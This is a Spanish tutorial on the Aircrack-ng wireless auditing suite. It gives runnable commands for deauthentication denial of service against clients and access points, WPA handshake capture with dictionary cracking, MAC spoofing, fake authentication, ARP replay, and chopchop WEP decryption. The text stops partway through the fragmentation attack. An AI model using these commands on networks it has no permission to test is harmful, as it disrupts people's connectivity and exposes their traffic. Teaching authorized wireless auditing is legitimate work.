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[Guía Completa Aircrack-ng]~

El objetivo de esta guía es ir describiendo cada una de las utilidades que nos ofrece la
suite Aircrack-ng. Utilizaremos Wifislax en su versión 3.1, que lo podéis descargar de
aquí. Poco a poco iré añadiendo temas a la guía. Para los que no lo sepáis, Aircrack-ng
es una suite de herramientas utilizada para la auditoría de redes inalambricas. Esta suite
esta compuesta por:

  -Airodump: programa utilizado para la captura de paquetes 802.11.


  -Aireplay: programa utilizado para la inyección de paquetes 802.11.
  -Aircrack: programa utilizado para crackear claves WEP y WPA-PSK.
  -Airdecap: programa utilizado para descifrar archivos de capturas WEP/WPA

[AIRODUMP-NG]~
Como ya hemos dicho antes, el airodump es el programa utilizado para la captura de
paquetes 802.11. Gracias a ello podremos ver todos los puntos de acceso, clientes e
información de los mismos dentro de nuestra cobertura, claro está . Lo primero de
todo es saber nuestra interfaz. Para ello abrimos shell:
Y tecleamos lo siguiente en la línea de comandos:

Código:
iwconfig

Ahí veremos que nombre es asignado a nuestra interfaz. En mi caso, eth1. Una vez
sabemos el nombre de nuestra interfaz, lo que haremos es cambiar a modo monitor
nuestra tarjeta. Para ello escribimos en la línea de comandos esto:

Código:
airmon-ng start vuestrainterfaz

Hasta ahora deberíamos ver algo así:


El comando airmon-ng sirve para activar o desactivar el modo monitor de nuestra
tarjeta. Las opciones que nos permite este comando son 2:

  -airmon-ng start interfaz ------->Esto activaría el modo monitor.


  -airmon-ng stop interfaz ------->Esto descactivaría el modo monitor.

A continuación, procedemos a escribir en la shell el siguiente comando "airodump-ng",


os saldrá algo parecido a esto:

Código:
wifislax ~ # airodump-ng

  Airodump-ng 0.9.1 r511 - (C) 2006,2007 Thomas d'Otreppe


  Original work: Christophe Devine
  http://www.aircrack-ng.org

  usage: airodump-ng <options> <interface>[,<interface>,...]


  Options:
      --ivs               : Save only captured IVs
      --gpsd              : Use GPSd
      --write    <prefix> : Dump file prefix
      -w                  : same as --write
      --beacons           : Record all beacons in dump file
      --update     <secs> : Display update delay in seconds

  Filter options:
      --encrypt   <suite> : Filter APs by cypher suite
      --netmask <netmask> : Filter APs by mask
      --bssid     <bssid> : Filter APs by BSSID
      -a                  : Filter unassociated clients

  By default, airodump-ng hop on 2.4Ghz channels.


  You can make it capture on other/specific channel(s) by using:
      --channel <channels>: Capture on specific channels
      --band <abg>        : Band on which airodump-ng should hop
      --cswitch  <method> : Set channel switching method
                    0     : FIFO (default)
                    1     : Round Robin
                    2     : Hop on last
      -s                  : same as --cswitch

      --help              : Displays this usage screen

No interface specified.

Os pongo una imagen para que lo veáis más claro :


Lo que nos están indicando, son las opciones del comando airodump-ng. Éstas son las
siguientes:

  --ivs: Solo capturaremos ivs (o vectores de inicialización).


  --gpsd: Esta opción es para usar un dispositivo GPS.
  --write <nombredelarchivoquequeremosguardar.cap/ivs> : Con esto crearemos un
archivo a guardar que tendrá extensión *.cap o *.ivs. También se puede poner --w.
  --beacons: Airodump-ng esta configurado por defecto para no guardar los beacons.
Con esta opción los guardamos (no lo recomiendo, ya que los beacons son unas señales
que mandan los routers, para indicar que están activos y que contienen información
como el BSSID y el ESSID. Así que no nos hace falta guardarlos ).
   --channel: Hace la captura en el canal que especifiquemos (por ejemplo: --channel 5).
También podemos poner --c.
   -a: Esta opción hace una captura en la frecuencia de 5Ghz especifica del canal a
(recordad, 802.11 a/b/g).
   --abg: Con esto capturamos tanto en frecuencias de 2,4Ghz como en 5 Ghz.
Para introducir bien los comandos, sobra decir que los pondremos en el orden en el que
los acabo de escribir (de arriba a abajo) omitiendo de la lista aquellos que no queramos
poner. Nosotros lo que haremos será poner lo siguiente:

Código:
airodump-ng interfaz

Veámoslo en la imagen:

Ahora os estaréis preguntando que son cada uno de los campos que nos salen. Pues
bien, para esto me remito a la página oficial de aircrack y os los copio tal cual están:

BSSID-->Dirección MAC del punto de acceso.


PWR---->Nivel de señal reportado por la tarjeta. Su significado depende del
controlador, pero conforme te acercas al punto de acceso o a la estación la señal
aumenta. Si PWR == -1, el controlador no soporta reportar el nivel de señal.
Beacons Número de paquetes-anuncio enviados por el AP. Cada punto de acceso envía
unos diez beacons por segundo al ritmo (rate) mínimo (1M), por lo que normalmente
pueden ser recogidos desde muy lejos.
# Data-->Número de paquetes de datos capturados (si es WEP, sólo cuenta IVs),
incluyendo paquetes de datos de difusión general.
CH------->Número de canal (obtenido de los paquetes beacon). Nota: algunas veces se
capturan paquetes de datos de otros canales aunque no se esté alternando entre canales
debido a las interferencias de radiofrecuencia.
MB------->Velocidad máxima soportada por el AP. Si MB = 11, entonces se trata de
802.11b, si MB = 22 entonces es 802.11b+ y velocidades mayores son 802.11g.
ENC----->Algoritmo de cifrado en uso. OPN = sin cifrado, "WEP?" = WEP o mayor
(no hay suficiente datos para distinguir entre WEP y WPA), WEP (sin la interrogación)
indica WEP estática o dinámica, y WPA si TKIP o CCMP están presentes.
ESSID--->Conocida como "SSID", puede estar vacía si el ocultamiento de SSID está
activo. En este caso airodump tratará de recuperar el SSID de las respuestas a escaneos
y las peticiones de asociación.
STATION->Dirección MAC de cada estación asociada. En la captura de más arriban no
se han detectado clientes .

[AIREPLAY-NG]~
El aireplay es el programa que va a inyectar paquetes 802.11. Aireplay-ng implementa 6
ataques diferentes:

  -Ataque 0: Ataque de deautenticación.


  -Ataque 1: Ataque de autenticación falsa.
  -Ataque 2: Reenvío interactivo de paquetes.
  -Ataque 3: Reinyección de petición ARP
  -Ataque 4: Ataque "chopchop" de Korek.
  -Ataque 5: Ataque de framentación.

ATAQUE 0: DEAUTENTICACIÓN
El ataque 0 de deautenticación, tiene como objetivo, deautenticar al cliente conectado al
AP. La sintaxis de este ataque es la siguiente:

Código:
aireplay-ng -0 N -a XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY interfaz

Paso a explicar lo que hemos puesto:

-0: Indica que vamos a hacer el ataque "0" o de deautenticación de cliente.


N: Es un número. Con él indicaremos cuantos paquetes de deautenticación enviaremos.
-a XX:XX:XX:XX:XX:XX: "-a" indica el AP y XX:XX:XX:XX:XX:XX es el BSSID o
la dirección MAC del AP.
-c YY:YY:YY:YY:YY:YY: "-c" indica al cliente y YY:YY:YY:YY:YY:YY es la MAC
del cliente asociado al AP.
interfaz: es la interfaz de  nuestra tarjeta. Para saberla recordad el capítulo anterior
(iwconfig).
Ataque DoS (Denegación de Servicio):

Muchos de vosotros ya sabéis lo que es un ataque de Denegación de Servicio, si no lo


sabes entra aquí DENEGACIÓN DE SERVICIO que te lo explica muy bien. De lo que
estoy seguro, es de que muchos de vosotros ni siquiera sabíais que se podían hacer
ataques DoS a clientes asociados a puntos de acceso (AP). Pongamos un BSSID
(00:89:4F:D2:15:A3), un cliente asociado con MAC (00:14:D8:7F:B1:96) y una tarjeta
con chipset Zydas. El ataque sería así:

Código:
aireplay-ng -0 0 -a 00:89:4F:D2:15:A3 -c 00:14:D8:7F:B1:96 eth1

Lo que estaríamos haciendo es crear un bucle infinito de paquetes de deautenticación,


con lo que impediríamos el cliente conectarse al AP. También podemos hacer un DoS
generalizado, de tal forma que solo ataquemos al AP. Con esto impediríamos la
conexión a todos los clientes que quisieran asociarse al AP. Esto se haría mediante el
siguiente comando:

Código:
aireplay-ng -0 0 -a 00:89:4F:D2:15:A3  eth1

Como véis, sólo hemos puesto la MAC del router. Esto impediría conectarse a
cualquiera. Esto es una captura de pantalla del ataque ^^:
Captura del Handshake (Saludo) WPA:

Lo primero de todo, definimos Handshake. Cada vez que un cliente se conecta a una red
con cifrado WPA, envía un paquete-saludo, o Handshake al AP al que se va a conectar.
Este paquete-saludo contiene la contraseña cifrada. Para capturarlo, tratariamos de
desconectar al cliente y estar al acecho para capturar ese Handshake. Mas tarde,
intentaríamos crackear ese Handshake para obtener la contraseña. Veámoslo en el
siguiente ejemplo:
Código:
airodump-ng --write chipichape --channel 6  eth1
aireplay-ng -0 20 -a 00:89:4F:D2:15:A3 -c 00:14:D8:7F:B1:96 eth1
aircrack-ng -w  /ruta/al/diccionario chipichape-01.cap

Paso a continuación a describir cada comando:

airodump-ng --write chipichape --channel 6  eth1------>Este comando pondría el


airodump-ng a la escucha en el canal 6 y escribiría en un archivo llamado chipichape-
01.cap los resultados de los paquetes obtenidos.

aireplay-ng -0 20 -a 00:89:4F:D2:15:A3 -c 00:14:D8:7F:B1:96 eth1----->Este comando


enviaría 20 paquetes de deauntenticación. Si tras hacer esto no hemos conseguido
deautenticar al cliente, ponemos más.

aircrack-ng -w  /ruta/al/diccionario chipichape-01.cap (este comando crackearía, o al


menos lo intentaría con ayuda de un diccionario, el archivo chop-01.cap con la clave
cifrada WPA y con la ayuda de un diccionario. No os hagáis ilusiones, porque no es tan
fácil crackear las redes WPA. Si no tenéis diccionarios os pongo unos links donde
podréis encontrar:

http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/

A continuación una demostración con imágenes del proceso. En ellas podemos ver
como nos pide un diccionario para poder crackear la clave .

1.- Ejecutamos el comando airodump-ng:


Nos saldrá esta imagen:

2.- Ejecutamos el comando aireplay-ng:


3.- Crackeamos con aircrack-ng:
Como podéis ver no me ha dejado crackearla porque no he especificado la ruta de
ningún diccionario.

Generación de peticiones ARP:

Muchas veces, al realizar el ataque3 (lo veremos más adelante ) vemos que las
peticiones ARP no arrancan, es decir, se quedan a 0. Lo que tenemos que hacer entonces
es generar peticiones ARP. Para ello, primero ejecutaremos el ataque 3, como lo
habríamos hecho de forma normal.
aireplay-ng -3 -b 00:89:4F:D2:15:A3 -h 00:14:D8:7F:B1:96 eth1

Se nos abriría una ventana como esta:

Entonces lo que tendríamos que hacer es provocar esa petición ARP. Para ello haríamos
un DoS en una consola a parte y esperaríamos a que se generase la primera petición
ARP. Una vez se hubiese generado la primera, iríamos a la consola que está realizando
el ataque DoS y pulsaríamos Ctrl+C para pararlo. Ahora iríamos a la consola que está
realizando el ataque 3 y veríamos como las peticiones ARP están subiendo a toda leche
^^. La mayoría de la gente no hace este ataque así, si no que se dedica a poner un valor
númerico en el ataque de deautenticación, generando un así un número de paquetes de
deautenticación directamente proporcional al estipulado. El contra de esta técnica es que
muchas veces con unos pocos paquetes de deautenticación no conseguimos nada, lo que
tenemos que hacer es enviar unos cuantos hasta que veamos que obtenemos la primera
petición ARP.
ATAQUE 1: AUTENTICACIÓN FALSA
A muchos de vosotros os habrá pasado, o si no os ha pasado os aseguro que os pasará,
que queréis  crackear una red inalámbrica y no hay clientes conectados. El hecho de que
haya un cliente conectado a la red objetivo facilita mucho, pero que mucho la tarea.
Desgraciádamente, no siempre es así y para ello tenemos que hacer uso de tretas y de
nuestro ingenio (bueno, aquí el ingenio lo pone el programa ) para poder iniciar el
ataque sin clientes asociados.

Aireplay-ng implementa un tipo de ataque llamado "Autenticación falsa" que como


estaréis suponiendo, nos viene de perlas en casos como este ^^. Lo que vamos a hacer
por medio de este ataque es hacernos pasar por un falso cliente. Para ello, es
recomendable que fakeemos nuestra MAC. Esto se puede hacer de varios modos.

Modo 1: Por medio del "macchanger" (interfaz):

Menú--Wifislax--HerramientasWireless--macchanger
Modo 2: Por medio del "macchanger" (consola):

Código:
macchanger -m 00:11:22:33:44:55 interfaz

Modo 3: Por medio de "ifconfig" (consola):

Código:
ifconfig interfaz down
ifconfig interfaz hw ether 00:11:22:33:44:55
ifconfig interfaz up
Una vez hemos cambiado fakeado nuestra mac, procedemos a autenticarnos como falso
cliente. La sintaxis del comando será la siguiente:

Código:
aireplay-ng -1 N -e "ESSID" -a XX:XX:XX:XX:XX:XX -h FF:FF:FF:FF:FF:FF
interfaz

Paso a explicar la sintaxis:

-1= Con esto indicamos que vamos a hacer el ataque 1 o "Autenticación falsa".
N= Es un número. Con él indicamos el intervalo de tiempo con el que queremos
asociarnos a nuestro AP. Por ejemplo, si queremos asociarnos cada 10 segundos,
mandará un paquete de asociación falsa cada 10 segundos.
-e= "ESSID": Aquí estamos indicando el nombre del AP al que queremos asociarnos
como falsos clientes, eso sí, ¡¡¡las comillas NO se ponen!!!
-a XX:XX:XX:XX:XX:XX= Aquí indicaremos el BSSID, es decir, la MAC del AP.
-h FF:FF:FF:FF:FF:FF= Aquí indicamos al MAC fakeada por nosotros mismos. En
nuestro caso "00:11:22:33:44:55".
interfaz= Vuestra interfaz

Veámoslo con un ejemplo:


ASPECTOS A TENER EN CUENTA:

1.-Este ataque no siempre es eficaz. Existen routers con los que no funciona. De hecho
hay routers que requieren autenticación cada X periodo de tiempo... el problema está en
saber qué periodo de tiempo es el que tienen configurado. Por normal general, son 30
segundos.

2.- Para que este ataque funcione hay que tener activo el airodump-ng. ¿Por qué? Pues
porque como os dije, el airodump-ng es el encargado de la captura de paquetes y para
que este ataque se inicie necesitaremos un Beacon. ¿Qué es un Beacon? es un paquete
saludo que envía el AP para decirnos: "Eh! que estoy aquí!" ¿recordáis?

3.- Tenemos que configurar la tarjeta para el mismo canal del AP. ¿Cómo? Pues no sé si
lo recordaréis... ¡con el airmon-ng!

Código:
airmon-ng start interfaz canal

4.- Este ataque por si sólo no consigue nada. Tenemos que combinarlo con el ataque 3 o
con el ataque 4, que los veremos en seguida.

CAUSAS DE UN POSIBLE FRACASO:

1.- El router tiene filtrado de MACs.


2.- Estás demasiado cerca o demasiado lejos del AP.
3.- Tu controlador no está correctamente parcheado e instalado (con las live-cd's como
Wifislax, Wifiway o Backtrack no os pasará ya que traen los drivers instalados y
parcheados).
4.- La tarjeta no está configurada en el mismo canal que el AP.
5.- Hemos introducido mal el BSSID o/y el ESSID.

ATAQUE 2: REENVÍO INTERACTIVO DE PAQUETES


Antes de empezar deciros que en este capítulo, usaremos BackTrack 3. Os preguntaréis,
¿Por qué? Pues por dos razones:

1.- No está de más conocer otras live-cd's. No os preocupéis, el procedimiento es el


mismo.
2.- Me he comprado tarjeta nueva y de momento no puedo usar el wifislax con ella ,
así que usaremos BackTrack 3.

Ahora al grano , este ataque puede resultarnos muy útil. Consiste en ponernos a la
escucha, escoger un paquete y una vez elegido, inyectarlo. Esto lo podremos hacer, o
bien con el paquete que hayamos capturado al estar a la escucha, o seleccionando uno
que hayamos conseguido previamente, que estará en formato *.cap. Paso a explicar la
sintaxis de este ataque:

Código:
aireplay-ng -2 <opciones de filtro> <opciones de envío> -r <nombre del
archivo a enviar> interfaz

-2= Indica que estamos realizando el ataque 2 "Reenvío interactivo de paquetes".


<opciones de filtro>= Sirven para filtrar los paquetes que vamos a recibir.
<opciones de envío>= Sirven para configurar nuestra inyección.
-r<nombre de archivo>= Esto es opcional. Se utiliza sólo cuando queremos especificar
un archivo *.cap para leer los paquetes e inyectarlos.
interfaz: Tu interfaz wireless (eth1, ath0...).

1.- Usándolo para radiodifundir los paquetes del AP y generar nuevos IV's
(Vectores de Inicialización)

Uno de los modos de usar este ataque es haciendo una difusión de los paquetes del AP y
así generar nuevos vectores de inicialización. Vale, tranquilos, imagino que muchos de
vosotros no habréis entendido nada de lo que he dicho. No os preocupéis, yo os lo
explico ^^. Cuando hablamos de hacer una difusión, hablamos de hacer un broadcast
(difusión en inglés). ¿Cómo, que estáis en las mismas? ¡pues no os preocupéis! Un
broadcast, es un modo de transmision de información en el que intervienen un nodo
emisor y un nodo receptor. El nodo emisor envía información a una multitud de nodos
receptores de manera simultánea sin necesidad de reproducir la misma transmisión nodo
por nodo. Las redes de área local, se basan en el uso de un medio de transmisión
compartido y por eso mismo, se puede difundir cualquier trama de datos a todas las
estaciones que estén en el mismo segmento de red. Sin embargo, para hacer esto
posible, necesitaríamos una dirección MAC especial, una que englobara a todas las
MAC's. Esta mac es la FF:FF:FF:FF:FF:FF. Todos los nodos receptores y emisores
procesan las tramas con dicha dirección así que no os preocupéis . De hecho los
routers, de vez en cuando, envían paquetes a la dirección FF:FF:FF:FF:FF:FF (por
ejemplo, los beacons ). Veamos un ejemplo de este ataque:

Código:
aireplay-ng -2 -p 0841 -b XX:XX:XX:XX:XX:XX -c FF:FF:FF:FF:FF:FF  -h
YY:YY:YY:YY:YY:YY interfaz

Paso a explicar el comando:

-2= Estamos indicando que vamos a realizar el ataque 2 (reenvío interactivo de


paquetes).
-p 0841= Con esto estamos fijando el "Frame Control" en el paquete. De esta manera,
parecerá que está siendo enviado desde un cliente.
-b XX:XX:XX:XX:XX:XX= Esta MAC deberá corresponder con el BSSID, es decir,
la MAC del AP.
-c FF:FF:FF:FF:FF:FF= Esto lo hemos explicado antes. Es la MAC especial . Con
ella estamos especificando como MAC de destino cualquiera. Gracias a ello, el AP
responderá con otro paquete y generará un nuevo vector de inicialización (IV).
-h YY:YY:YY:YY:YY:YY= Esta será la MAC de nuestra tarjeta, es decir, la dirección
física desde la cual provienen los paquetes que vamos a reenviar. Recomiendo fakearla.
interfaz= Tu interfaz wifi.

Vamos a ver un ejemplo:


Hay que tener en cuenta, que cuanto mayor sea el paquete que vamos a reenviar, mas
lenta será la inyección. Si queremos, tenemos la opción de establecer un filtro para el
tamaño del paquete. Esto nos abre el camino al siguiente ataque.

2.- Reenvío de peticiones ARP con cifrado WEP.

En este ataque, usaremos un filtro para indicar el tamaño del paquete que queremos
inyectar. Como lo que queremos es inyectar peticiones ARP, en el filtro tendremos que
determinar un tamaño mínimo y un tamaño máximo equivalente al de una petición
ARP. Las peticiones ARP suelen tener un tamaño de 68 bytes cuando es un cliente
wireless y 86 bytes cuando es un cliente cableado. Nosotros por tanto usaremos un filtro
en el que los paquetes no bajen de 68 bytes pero no superen los 86 bytes.

Código:
aireplay-ng -2 -p 0841 -m 68 -n 86 -b XX:XX:XX:XX:XX:XX  -c
FF:FF:FF:FF:FF:FF -h YY:YY:YY:YY:YY:YY interfaz

Procedo a explicar lo que hemos puesto:

-2= Con esto indicamos que vamos a hacer el ataque 2 (reenvío interactivo de paquetes).
 -p 0841= Con esto estamos fijando el "Frame Control" en el paquete. De esta manera,
parecerá que está siendo enviado desde un cliente.
 -m 68= Indicamos la longitud mínima del paquete.
 -n 86= Indicamos la longitud máxima del paquete
 -c FF:FF:FF:FF:FF:FF fija la dirección MAC de destino como cualquiera (broadcast).
Esto se requiere para que el AP conteste al paquete y así generar el nuevo IV.
 -b XX:XX:XX:XX:XX:XX= Esta MAC deberá corresponder con el BSSID, es decir, la
MAC del AP.
-h YY:YY:YY:YY:YY:YY= Esta será la MAC de nuestra tarjeta, es decir, la dirección
física desde la cual provienen los paquetes que vamos a reenviar. Recomiendo fakearla.
interfaz= Tu interfaz wifi.

Veámoslo en el siguiente ejemplo:


Nota: Si quisieramos enviar un paquete *.cap préviamente guardado, lo haríamos de la
siguiente manera:

Código:
aireplay-ng -2 -p 0841 -b XX:XX:XX:XX:XX:XX -c YY:YY:YY:YY:YY:YY -r
nombrearchivo.cap interfaz

Veámoslo en la siguiente imagen:


Si os fijáis, el paquete que hemos seleccionado para enviar es el mismo que hemos
capturado en el primer ejemplo ^^.

ATAQUE 3: REINYECCIÓN DE PETICIONES ARP


Este ataque es un clásico y sin lugar a dudas, es el modo más efectivo de generar nuevos
vectores de inicialización (IV's). El ataque de reenvío de peticiones ARP, o ARP
request, funciona poniéndo aireplay-ng a la escucha de un paquete ARP y enviándolo de
nuevo al AP. Esto va a tener como consecuencia que el punto de acceso tenga que
volver a enviar un paquete ARP pero esta vez, con un vector de inicialización nuevo
. Muchos diréis: ¿Y eso de que nos sirve? Pues ya que estoy, voy a aprovechar para
hablar un poco sobre los IV's (vectores de inicialización).

Las claves con cifrado WEP utilizan un algoritmo de cifrado llamado RC4 de 64 bits
(bueno, eso inicialmente, ahora podemos encontar de 128 y de 256). La forma en la que
está compuestos estos 64 bits es la siguiente:

1.- 24 bits correspondientes a un vector de inicialización (IV)


2.- 40 bits correspondientes a la contraseña.

El vector de inicialización se genera de forma dinámica y varía para cada trama. Lo que
se pretende con los vectores de inicialización es cifrar los paquetes con claves diferentes
para que una tercera persona con malas intenciones (¿nosotros? no, solo testeamos
nuestra red wifi ) no acabe deduciendo la clave. Con un solo paquete, las
posibilidades de hallar la clave, si mal no recuerdo, son de 1/17.000.000. Eso supone
años y que el pc se te estropée si te pasas de tiempo con el aircrack. Por esta misma
razón,cuantos más IV's distintos, más posibilidades tendremos de descifrar la clave! Os
pongo un link en el que se habla bastante más sobre el CIFRADO WEP.

En cuanto al protocolo ARP, o Adress Resolution Protocol, debéis saber que es un


protocolo que tiene como función localizar direcciones MAC y hacer que éstas
correspondan con una dirección IP. Las peticiones ARP,se enviarán a la dirección
FF:FF:FF:FF:FF:FF, ¿recordáis? esperando una respuesta con la dirección MAC que
corresponda. Bueno en este enlace os explicaN mucho mejor el ARP.

Vamos a proceder ahora a explicar la sintaxis de este ataque:

Código:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz

De aquí:
-3= Estamos diciendo a aireplay que vamos a comenzar el ataque 3 (reenvío de
peticiones ARP).
-b XX:XX:XX:XX:XX:XX= Esto es la dirección MAC del AP o BSSID.
-h YY:YY:YY:YY:YY:YY= Esto es la dirección MAC del cliente asociado al AP.
Aquí podríamos poner un cliente real o un cliente falso (recordad el ataque -1 ).
interfaz= Es el nombre de tu interfaz wifi.

Con este ataque, del mismo modo que en el ataque -2 (reenvío de paquetes interactivo)
podemos seleccionar una ARP anteriormente guardada. Lo haríamos de la siguiente
manera:

Código:
aireplay-ng -2 -r nombredearchivo.cap -a XX:XX:XX:XX:XX:XX -h
00:11:22:33:44:55 interfaz
Traduciendo:

-2= significa que estamos haciendo el ataque -2 (reenvío interactivo de paquetes)


-a= BSSID
-h= Nuestra MAC (fakeada a poder ser )
-r nombredelarchivo.cap= Con esto indicamos el nombre del paquete ARP a enviar.
interfaz= Tu interfaz wifi.

Como ya he dicho antes, este ataque puede ser usado de 3 maneras:

1.- Con cliente asociado:

Lo que haremos aquí será, utilizar un cliente que esté conectado al AP y captar una
petición ARP para después reenviarla. Sin duda, de los tres, es el más efectivo. Esto lo
haríamos así:

Código:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz

Así el sistema responderá con:

Código:
Saving ARP requests in archivo.cap
You should also start airodump-ng to capture replies.
Read 42 packets (got 0 ARP requests), sent 0 packets...
No olvidéis que si no os captura ninguna ARP, podéis tirar de un ataque DoS para así
desautenticar al cliente asociado y que vuelva a haber una petición ARP .

2.- Con cliente falso asociado:

Aquí vamos a conjugar dos ataques, el -3 para capturar la petición ARP y el -1 para
crear un cliente falso (no olvidéis fakear la MAC). El ataque sería el siguiente:

Por un lado escribiríamos en una consola el siguiente comando:

Código:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY interfaz

Donde YY:YY:YY:YY:YY:YY sería nuestra MAC fakeada (00:11:22:33:44:55).

Por otro lado escribiríamos:

Código:
aireplay-ng -1 N -e ESSID -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY
interfaz

Donde YY:YY:YY:YY:YY:YY también sería nuestra MAC fakeada.

Veríamos algo así:

3.- Utilizando una petición ARP previamente guardada:

Aquí usaremos el ataque -2:

Código:
aireplay-ng -2 -r nombredearchivo.cap -a XX:XX:XX:XX:XX:XX -h
00:11:22:33:44:55 interfaz

Veamos la siguiente imagen:

Esto ya lo explicamos anteriormente así que no vuelvo a sacar el tema jeje .

ATAQUE 4: CHOPCHOP DE KOREK (PASO A PASO)


El ataque chopchop de Korek es capaz de descifrar un solo paquete de datos WEP, ya
sea de clave estática o dinámica, revelando el texto plano. No hay muchos tutoriales en
la red que expliquen este ataque y los que hay no lo explican muy bien. Por esa razón he
decidido dedicar su tiempo a realizar esta guía de como y cuando utilizar un ataque
chopchop, explicándolo todo pasito a pasito;-) eso sí, no os preocupéis si os perdéis un
poco en este tema ya que es algo más complejo que los anteriores. Bueno vamos a
empezar con un ejemplo práctico para comprenderlo mejor.

Lo primero que tenemos que hacer es poner en modo monitor nuestra tarjeta y fakearla.
Yo lo voy a hacer con una chipset atheros por lo que el procedimiento será el siguiente:

Código:
airmon-ng stop ath0
macchanger -m 00:11:22:33:44:55 wifi0
airmon-ng start wifi0

Código:
http://i35.servimg.com/u/f35/11/75/25/89/chop110.png

Iniciamos airodump-ng (primero sin opcioens de filtro y luego así):

Código:
airodump-ng --channel N --w pruebaIH interfaz

Digo que lo iniciemos primero sin opciones de filtro, para poder así ver en que canal
está nuestro AP y una vez sabido escribir en un archivo llamado infiernohacker-01.cap
los paquetes obtenidos.
En una situación normal, nosotros podríamos tener dos posibilidades:

1.- Que tuvieramos un cliente conectado al AP.


2.- Que NO tuvieramos ningún cliente conectado al AP. En este caso tendríamos que
hacer un ataque -1 (autenticación falsa) para poder sacar la clave.

Bien pues en mi caso si que había un cliente asociado pero también explicaré lo que
habría que hacer si no hubiese ninguno. Seguimos con lo nuestro, una vez iniciado el
airodump-ng, realizamos el ataque -3 para estar a la escucha de peticiones ARP. Nos
autenticaremos posteriormente de forma falsa en caso de que no haya clientes con el
ataque -1 (en caso de haberlos no hace falta hacerlo y sustituiremos en el comando la
dirección fakeada por la del cliente asociado). Antes de hacer este ataque, tendremos
que haber fakeado nuestra MAC! Como nosotros ya la hemos fakeado, haremos el
ataque -3 y nos pondremos a la escucha de peticiones ARP:

Código:
aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55 interfaz
Una vez iniciado el aireplay-ng -3, procedemos a autenticarnos con el ataque -1
(autenticación falsa) en el susodicho caso de que no tuvieramos clientes conectados.

Código:
aireplay-ng -1 30 -e BSSID -a XX:XX:XX:XX:XX:XX -h 00:11:22:33:44:55
interfaz
Ya vimos anteriormente lo que significaba cada una de las partes de este comando.

En un ataque exitoso, capturaríamos un paquete con una petición ARP y la


reinyectaríamos con el ataque -3. Sin embargo esto no siempre es así. ¿Recordáis que os
dije que cuando tenemos un cliente asociado y no obtenemos una ARP request, lo que
tenemos que hacer es atacar con un DoS al cliente para forzar la petición ARP? Pues
esto no es aplicable a una asociación falsa, por lo tanto este es un momento idóneo para
poner en práctica el ataque chopchop. Yo en este ejemplo, no he hecho una
autenticación falsa debido a que tenía un cliente conectado ya que de esta forma es más
fácil capturar paquetes. Recordad que estos paquetes se estarán guardando en el archivo
infiernohacker-01.cap. Ahora lo que tenemos que hacer es realizar el ataque -4 para
descifrar el paquete y poder generar nuestra propia petición ARP que reinyectaremos
más adelante . Para ello utilizaremos el siguiente código:

Código:
aireplay-ng -4 -h 00:11:22:33:44:55 -r archivoguardado.cap interfaz

Paso a explicar el comando:

-4= Significa que vamos a realizar el ataque 4 (Chopchop de Korek).


-h 00:11:22:33:44:55= Estemos indicando cual es la dirección física del cliente
conectado. Ya sabéis, si no había cliente asociado usáis la vuestra (fakeada) y si lo había
pues la del cliente. Esto se debe a que los AP's no aceptan paquetes de datos que
provengan de MAC's "desconocidas".
-r archivoguardo.cap= Aquí estamos indicando que vamos a mandarle uno de los
paquetes que hayamos capturado y guardado en el archivo *.cap. En nuestro caso
pruebaIH-01.cap
interfaz= Tu interfaz wifi.

Esto lanzará el ataque:


Al cabo de un rato, habrá descifrado el paquete y nos mostrará lo siguiente:
Si os fijáis, una vez ha terminado el proceso, nos guarda en un archivo *.cap (el texto
plano) y en un archivo *.xor (el keystream). Bueno pues ahora lo que vamos a hacer es
usar el packetforge-ng que sirve para crear paquetes. Sin embargo, necesitamos saber
para ello la dirección privada del cliente conectado y para ello vamos a hacer uso del
tcpdump. Para los que no sepáis lo que es, tcpdump, es una herramienta que esta
presente en todas las distros GNU/linux y también en Mac OS y que sirve para analizar
el tráfico que circula por la red haciendo uso de la librería libpcap para capturar los
paquetes. En Windows existe WinDump que utiliza la librería Winpcap. El comando a
ejecutar sería el siguiente:

Código:
tcpdump -s 0 -n -e -r archivochop.cap

Esto nos dará la dirección IP del cliente conectado, justo lo que necesitábamos para
elaborar nuestra propia petición ARP . Usaremos entonces el packetforge-ng para
"forjar" nuestra propia ARP request]:

Código:
packetforge-ng -0 -a XX:XX:XX:XX:XX:XX -h YY:YY:YY:YY:YY:YY -k
IPdestino -l IPorigen arp.cap -y archivochop.xor -w arptuneada.cap

De aquí:

archivo.xor= Es uno de los dos archivos que nos dará el ataque -4 (el otro es el
archivochop.cap ) y que contendrá el Keystream.
-0= Indicamosque vamos a forjar un paquete ARP.
-a XX:XX:XX:XX:XX:XX= BSSID
-h YY:YY:YY:YY:YY:YY= MAC del cliente asociado.
-k IPdestino= Es la IP del router.
-l IPorigen= Es la IP del cliente conectado (previamente sacada con el tcpdump).
-y archivochop.xor= Este es el paquete que hemos obtenido con el ataque chopchop.
-w arptuneada= Aquí vamos a poner un nombre a nuestro nuevo paquete. Yo le he
llamado arptuneada pero si queréis vosotros podéis llamarle Rosa .
Bien, ¡¡YA TENEMOS NUESTRA PROPIA PETICIÓN ARP!!. Lo que tenemos que
hacer ahora es enviar el paquete a nuestro AP. ¿Cómo? Venga haz memoria! con el
ataque 2 (reenvío de paquetes interactivo).

Código:
aireplay-ng -2 -r arptuneada.cap interfaz
ATAQUE 5: FRAGMENTACIÓN
El ataque de Fragmentación consiste en capturar un PRGA, para después mediante el
paquetforge-ng, "forjar" paquetes que enviaremos a nuestra victima. Lo primero de
todo, ¿Qué es el PRGA? Son las siglas de Pseudo Random Generation Algorithm y se
utiliza en las redes wifi para aumentar la seguridad. El PRGA es una parte de un
paquete que está formada por texto plano y texto cifrado. El procedimiento de este
ataque es bastante parecido al Chopchop de Korek así que lo explicaré más por encima,
indicandoos por supuesto los pasos en común con el ataque visto anteriormente.

Para empezar, deciros que este ataque sólo funciona con cifrado WEP y por lo que he
leido en varios papers en inglés, los routers que se resisten a los ataques Chopchop de
